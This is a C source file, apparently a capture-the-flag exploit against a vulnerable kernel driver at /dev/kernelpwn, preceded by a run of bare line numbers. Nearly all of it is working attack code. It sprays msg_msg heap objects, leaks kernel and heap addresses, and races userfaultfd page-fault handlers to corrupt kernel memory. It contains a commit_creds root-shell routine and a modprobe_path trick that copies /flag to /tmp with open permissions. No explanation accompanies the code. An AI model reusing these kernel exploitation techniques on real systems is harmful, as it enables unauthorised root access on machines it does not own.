1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583
|
#define _GNU_SOURCE #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h>
#include <inttypes.h> #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> #include <assert.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0)
static int page_size;
int global_fd; uint64_t g_msg_1_addr; uint64_t g_msqid;
unsigned long user_cs, user_ss, user_rflags, user_sp; unsigned long long int base_addr = 0;
#define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*)0xffffffff810b9d80; void (*commit_creds)( void*) KERNCALL = (void*)0xffffffff810b99d0;
void save_stats_64() { asm("movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : : "memory"); }
void templine() { commit_creds(prepare_kernel_cred(0)); asm("pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" : : "m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); }
void shell() { printf("root\n"); system("/bin/sh"); exit(0); }
unsigned long long int calc(unsigned long long int addr) { return addr - 0xffffffff81000000 + base_addr; }
struct add_args { uint64_t size; uint64_t buf; };
struct show_args { uint64_t idx; uint64_t size; uint64_t buf; };
struct msg_msg { uint64_t m_list_1; uint64_t m_list_2; long m_type; size_t m_ts; uint64_t next; void *security; };
struct msg_struct { long mtype; char mtext[0x1fc8]; };
int add(int fd, uint64_t size, uint64_t buf) { struct add_args args = {size, buf}; return ioctl(fd, 32, &args); }
int delete(int fd, uint64_t index) { uint64_t idx = index; return ioctl(fd, 48, &idx); }
int show(int fd, uint64_t idx, uint64_t size, uint64_t buf) { struct show_args args = {idx, size, buf}; return ioctl(fd, 64, &args); }
uint64_t kernel_base = 0x0; uint64_t kmod_base = 0x0; uint64_t kbss_base = 0x0; uint64_t kheap_addr = 0x0;
int spray_msg_msg(int msg_size) {
struct { long mtype; char mtext[0x10]; } msg;
memset(msg.mtext, 'A', msg_size-1); msg.mtext[msg_size-1] = 0; msg.mtype = 1;
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); return msqid; }
int spray_msg_msg_1(char content1, char content2) {
struct { long mtype; char mtext[0x10]; } msg;
memset(msg.mtext, content1, 0xf); msg.mtext[0xf] = 0; msg.mtype = 1;
struct { long mtype; char mtext[0x2000-0x38]; } msg1;
memset(msg1.mtext, content2, 0x1f00); msg1.mtext[0x1f00] = 0; msg1.mtype = 1;
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); msgsnd(msqid, &msg1, sizeof(msg1.mtext), 0); return msqid; }
int spray_msg_msg_mul(int n) {
struct { long mtype; char mtext[0x10]; } msg;
memset(msg.mtext, 'C', 0xf); msg.mtext[0xf] = 0; msg.mtype = 1;
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
for (int i = 0; i < n; i++) { msgsnd(msqid, &msg, sizeof(msg.mtext), 0); } return msqid; }
#define MSG_COPY 040000
uint64_t fault_page, fault_page_len; uint64_t fault_page_1, fault_page_len_1;
int msqid_3; uint64_t g_mmaped_addr_1;
void thread_hack(){ msgsnd(msqid_3, g_mmaped_addr_1 + 0x40, 0x1000-0x30+0x30, 0); } void* userfault_handler_2(void *arg);
void* userfault_handler_1(void *arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; puts("[+] Handler1 Created");
struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) errExit("[-] Wrong pool return value");
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) errExit("[-] Error in reading uffd_msg"); assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[+] Trigger! Handling1");
uint64_t buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char buf1[0x2000];
memset(buf + sizeof(struct msg_msg), 'X', 0xf); ((struct msg_msg *)buf)->m_list_1 = kheap_addr; ((struct msg_msg *)buf)->m_list_2 = kheap_addr; ((struct msg_msg *)buf)->m_type = 1; ((struct msg_msg *)buf)->m_ts = 0x2000-0x38; ((struct msg_msg *)buf)->next = g_msg_1_addr; ((struct msg_msg *)buf)->security = 0; delete(global_fd, 0); add(global_fd, 64, (uint64_t)buf);
msgrcv(g_msqid, buf1, 0xf, 0, IPC_NOWAIT | MSG_NOERROR);
add(global_fd, 64, (uint64_t)buf);
#define OFFSET_INPAGE_1 0x40
fault_page_1 = mmaped_addr + 0x1000; fault_page_len_1 = 0x1000;
register_userfault(fault_page_1, fault_page_len_1, &userfault_handler_2);
memset(mmaped_addr + OFFSET_INPAGE_1 + 0x8, 0x9f, 0x800); *(uint64_t *)(mmaped_addr+OFFSET_INPAGE_1) = 1;
msqid_3 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
g_mmaped_addr_1 = mmaped_addr; pthread_t thr; if ( pthread_create(&thr, NULL, thread_hack, NULL) ) errExit("[-] pthread_create"); sleep(1);
for (int i = 0; i< 0x20; i++) { ((uint64_t *)buf)[i] = kernel_base + 0x1a6c000 - 8; }
struct uffdio_copy uc; uc.src = (unsigned long)buf; uc.dst = (unsigned long)fault_page; uc.len = fault_page_len; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] Done1"); return NULL; }
void* userfault_handler_2(void *arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; puts("[+] Handler2 Created");
struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) errExit("[-] Wrong pool return value");
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) errExit("[-] Error in reading uffd_msg"); assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[+] Trigger! Handling2");
uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); strcpy((char *)mmaped_addr+0x18, "/tmp/a\x00");
getchar();
struct uffdio_copy uc; uc.src = (unsigned long)mmaped_addr; uc.dst = (unsigned long)fault_page_1; uc.len = fault_page_len_1; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] Done2");
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a"); system("chmod +x /tmp/a"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy");
return NULL; }
void register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler) { struct uffdio_api ua; struct uffdio_register ur; pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API"); ur.range.start = (unsigned long)fault_page; ur.range.len = fault_page_len; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) errExit("[-] ioctl-UFFDIO_REGISTER"); if ( pthread_create(&thr, NULL, handler, (void*)uffd) ) errExit("[-] pthread_create"); return; }
uint64_t con_seq(char c) { uint64_t ret = 0; for (int i = 0; i < 0x7; i++) { ret += c; ret <<= 8; } ret += c; return ret; }
int check_con_seq(uint64_t x) { for (int i = 0; i < 0x10; i++) { if (x == con_seq(0x50+i)) { return i; } } return -1; }
int main() { int fd; char buf[0x100]; char buf1[0x2000]; int msqid; int msqid_1[50]; uint64_t tmp_addr = 0;
fd = open("/dev/kernelpwn", 2); if(fd < 0) { printf("open error\n"); return -1; }
global_fd = fd;
add(fd, 64, (uint64_t)buf); delete(fd, 0);
msqid = spray_msg_msg(0x10); g_msqid = msqid;
for (int i = 0; i < 0x10; i++) { msqid_1[i] = spray_msg_msg_1(0x50+i, 0x60+i); }
show(fd, 0, 0x10, buf); printf("%llx %llx\n", ((uint64_t*)buf)[0], ((uint64_t*)buf)[1]); kheap_addr = ((uint64_t*)buf)[0]; if (kheap_addr == 0) { printf("kheap_addr is 0\n"); }
memset(buf + sizeof(struct msg_msg), 'B', 0xf); ((struct msg_msg *)buf)->m_list_1 = kheap_addr; ((struct msg_msg *)buf)->m_list_2 = kheap_addr; ((struct msg_msg *)buf)->m_type = 1; ((struct msg_msg *)buf)->m_ts = 0x2000-0x38; ((struct msg_msg *)buf)->next = kheap_addr-0x8; ((struct msg_msg *)buf)->security = 0; delete(fd, 0); add(fd, 64, (uint64_t)buf);
memset(buf1, 0, 0x2000); msgrcv(msqid, buf1, 0x2000-0x38, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); sleep(1);
int fik = -1, fik_off = -1; for (int i = 0; i < (0x2000-0x38)/8; i++) { tmp_addr = ((uint64_t*)buf1)[i]; if (tmp_addr != 0){ if (tmp_addr > 0xffffffff81000000 && tmp_addr < 0xffffffffc0000000) { if (!((tmp_addr - 0x5c9f) % 0x1000)) { kernel_base = tmp_addr - 0x155c9f; printf("kernel_base: %#llx\n", kernel_base); } } if (i % 8 == 1 && fik == -1) { fik = check_con_seq(tmp_addr); if (fik != -1) { fik_off = i*8-0x30; } } } }
printf("%#x: fik: %d\n", fik_off, fik); uint64_t fik_addr = ((uint64_t*)buf1)[fik_off/8]; printf("fik_addr: %#llx\n", fik_addr); if (kernel_base == 0) { printf("kernel_base is 0\n"); return -1; }
uint64_t heap_self_addr = ((uint64_t*)(buf1))[0xfd8/8]; printf("heap_self_addr: %#llx\n", heap_self_addr);
memset(buf + sizeof(struct msg_msg), 'C', 0xf); ((struct msg_msg *)buf)->m_list_1 = kheap_addr; ((struct msg_msg *)buf)->m_list_2 = kheap_addr; ((struct msg_msg *)buf)->m_type = 1; ((struct msg_msg *)buf)->m_ts = 0x2000-0x38; ((struct msg_msg *)buf)->next = fik_addr-0x40; ((struct msg_msg *)buf)->security = 0; delete(fd, 0); add(fd, 64, (uint64_t)buf);
memset(buf1, 0, 0x2000); msgrcv(msqid, buf1, 0x1fc8, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); sleep(1);
uint64_t msg_1_addr = fik_addr; g_msg_1_addr = msg_1_addr; uint64_t seg_1_addr = ((uint64_t*)buf1)[0x1030/8];
printf("msg_1_addr: %#llx\n", msg_1_addr); printf("seg_1_addr: %#llx\n", seg_1_addr);
msgrcv(msqid_1[fik], buf1, 0x10, 0, IPC_NOWAIT | MSG_NOERROR); msgrcv(msqid_1[fik], buf1, 0x1fc8, 0, IPC_NOWAIT | MSG_NOERROR);
int msqid_2[0x10]; for (int i = 0; i < 0x4; i++) { msqid_2[i] = spray_msg_msg_1(0x70+i, 0x80+i); }
uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mmaped_addr == -1) { printf("mmap error\n"); return -1; }
#define OFFSET_INPAGE 0x40
fault_page = mmaped_addr + 0x1000; fault_page_len =0x1000;
register_userfault(fault_page, fault_page_len, &userfault_handler_1);
memset(mmaped_addr + OFFSET_INPAGE + 0x8, 0x99, 0x800); *(uint64_t *)(mmaped_addr+OFFSET_INPAGE) = 1;
msqid_2[4] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(msqid_2[4], mmaped_addr + OFFSET_INPAGE, 0x1f08, 0);
getchar();
return 0; }
|